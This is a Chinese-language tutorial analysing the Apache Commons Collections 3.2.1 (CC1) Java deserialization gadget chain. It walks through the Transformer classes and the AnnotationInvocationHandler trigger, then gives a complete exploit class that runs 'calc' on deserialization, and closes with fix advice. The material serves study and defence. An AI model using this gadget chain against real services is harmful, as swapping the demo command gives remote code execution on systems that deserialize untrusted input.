Apache Commons Collections反序列化漏洞分析(CC链1)

1. 漏洞背景

Apache Commons Collections是一个广泛使用的Java工具库，提供了许多强大的集合类和相关工具。其中存在一个严重的安全漏洞，攻击者可以通过构造特殊的序列化数据，在反序列化时执行任意代码。

2. 环境搭建

2.1 所需组件

• JDK 8u66（高版本已修复漏洞）
• Commons Collections <= 3.2.1

2.2 配置步骤

1. 下载JDK 8u66和OpenJDK源码
2. 将OpenJDK源码中的sun文件夹复制到JDK的src目录
3. 在IDEA中配置JDK的src目录到类路径和源路径
4. 创建Maven项目并添加依赖：

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

3. 关键类分析

3.1 Transformer接口

public interface Transformer {
    public Object transform(Object input);
}

该接口用于对象转换，关键实现类包括：

• ConstantTransformer
• InvokerTransformer
• ChainedTransformer

3.2 ConstantTransformer类

public class ConstantTransformer implements Transformer {
    public Object transform(Object input) {
        return iConstant; // 无论输入什么，都返回构造时传入的对象
    }
}

3.3 InvokerTransformer类

public class InvokerTransformer implements Transformer {
    public Object transform(Object input) {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs); // 通过反射调用指定方法
    }
}

3.4 ChainedTransformer类

public class ChainedTransformer implements Transformer {
    public Object transform(Object object) {
        for (Transformer transformer : iTransformers) {
            object = transformer.transform(object); // 链式调用多个Transformer
        }
        return object;
    }
}

4. 漏洞利用链分析

4.1 核心利用代码

Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");

4.2 使用Transformer实现

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[]{String.class, Class[].class}, 
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[]{Object.class, Object[].class}, 
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[]{String.class}, 
        new Object[]{"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

4.3 触发点分析

1. TransformedMap.checkSetValue()

   protected Object checkSetValue(Object value) {
       return valueTransformer.transform(value);
   }
   

2. AbstractInputCheckedMapDecorator.setValue()

   public Object setValue(Object value) {
       value = parent.checkSetValue(value);
       return entry.setValue(value);
   }
   

3. AnnotationInvocationHandler.readObject()

   private void readObject(ObjectInputStream s) {
       // ...
       memberValue.setValue(...);
       // ...
   }
   

5. 完整利用链构造

5.1 构造TransformedMap

HashMap<Object,Object> map = new HashMap<>();
map.put("value", "b"); // 必须包含"value"键
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);

5.2 构造AnnotationInvocationHandler

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class, transformedMap);

5.3 序列化与反序列化

// 序列化
ObjectOutputStream out = new ObjectOutputStream(...);
out.writeObject(o);

// 反序列化触发漏洞
ObjectInputStream in = new ObjectInputStream(...);
in.readObject();

6. 完整EXP代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Serialcc {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[]{String.class, Class[].class}, 
                new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", 
                new Class[]{Object.class, Object[].class}, 
                new Object[]{null, null}),
            new InvokerTransformer("exec", 
                new Class[]{String.class}, 
                new Object[]{"calc"})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hash = new HashMap<>();
        hash.put("value", 'b');
        Map<Object,Object> decorate = TransformedMap.decorate(hash, null, chainedTransformer);
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorate);
        
        // 序列化
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.bin"));
        out.writeObject(o);
        
        // 反序列化触发
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("1.bin"));
        in.readObject();
    }
}

7. 漏洞修复

1. 升级到Commons Collections 3.2.2或更高版本
2. 使用安全框架限制反序列化
3. 使用Java安全管理器限制权限

8. 学习建议

1. 深入理解Java反射机制
2. 掌握Java序列化与反序列化原理
3. 学习其他反序列化漏洞利用链
4. 研究安全防护措施和绕过方法